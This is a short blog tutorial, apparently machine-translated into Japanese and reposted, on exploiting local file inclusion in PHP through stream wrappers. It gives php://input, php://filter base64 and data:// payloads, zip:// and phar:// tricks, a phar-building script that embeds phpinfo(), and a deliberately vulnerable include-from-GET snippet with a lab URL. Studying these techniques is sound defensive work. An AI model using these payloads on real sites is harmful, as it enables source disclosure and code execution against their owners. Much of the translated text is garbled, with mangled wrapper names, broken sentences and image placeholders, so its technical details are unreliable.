PHPを使用してカプセル化プロトコル

  1. INPUTをストリームPHPを使用(POSTは、上の値を受け入れ):
    ファイル= PHP:// INPUT
    →詳細を(必要はallow_url_include =オン、[ http://php.net/manual/en/wrappers.php.php](http: //php.net/manual/en/wrappers.php.php)
    のコード実行:

    6922135-d1047df93f187867.jpg
    画像
  2. フローフィルタ(フィルタをするために使用することができます使用してPHPのファイルのphpの内容を読んでいない:にはallow_url_includeを開くために必要)を
    ?=ファイルPHP://filter/convert.base64-encode/resource=index.phpを

  3. URIのデータを使用する:
    ファイル= [データ://テキスト/プレーン; Base64で、Base64でエンコードされたペイロード]?(データ://テキスト/平野、BASE64、BASE64 符号化されたペイロード)
    (必要はallow_url_include = ON)

    6922135-3d1454c4c474cb72.jpg
    画像

    <?php phpinfo();、に注意を払っていないのですか?>休館

他のプロトコルをカプセル化し使用して

  1. ジッププロトコル
    http://php.net/manual/zh/wrappers.compression.phpは
    php $include_file=$_GET[include_file]; if ( isset( $include_file ) && strtolower( substr( $include_file, -4 ) ) == ".php" ) { require( $include_file ); }
    、それがPHPを含む行われた場合、4つの文字は、PHPと判断されていない後部フレームを引き継い

    6922135-2a13a519ff7e9251.jpg
    画像

    契約プロトタイプ:ZIP://archive.zip#dir/file.txt
    ##この競合すると、URLの契約としてエンコードされたノートのURL

  2. pharの契約
    Pharアーカイブは、パッケージ内のファイル(私はそれがzipアーカイブと同様であることを理解)へのphpファイルで
    php <?php $p = new PharData(dirname(__FILE__).'/phartest.aaa', 0,'phartest',Phar::ZIP) ; $p->addFromString('testfile.txt', '<?php phpinfo();?>'); ?>
    phar.readonlyデフォルト2つのローカルテストがある(オフに設定し、php.iniの注意パラメータを支払うことをphar時間を作成しますそれがオフになっている)
    、その後含めることにより、プロトコルにアクセスします。
    http://192.168.227.128/other/lfi/ex1.php?f=phar://./phar/phartest.aaa/testfile.txt

    6922135-1c6d217d90b235e2.jpg
    画像

    この方法は、PHP> 5.3.0のために使用しています

ます。https://www.jianshu.com/p/826543e07b4cで再現

おすすめ

転載: blog.csdn.net/weixin_33937913/article/details/91214450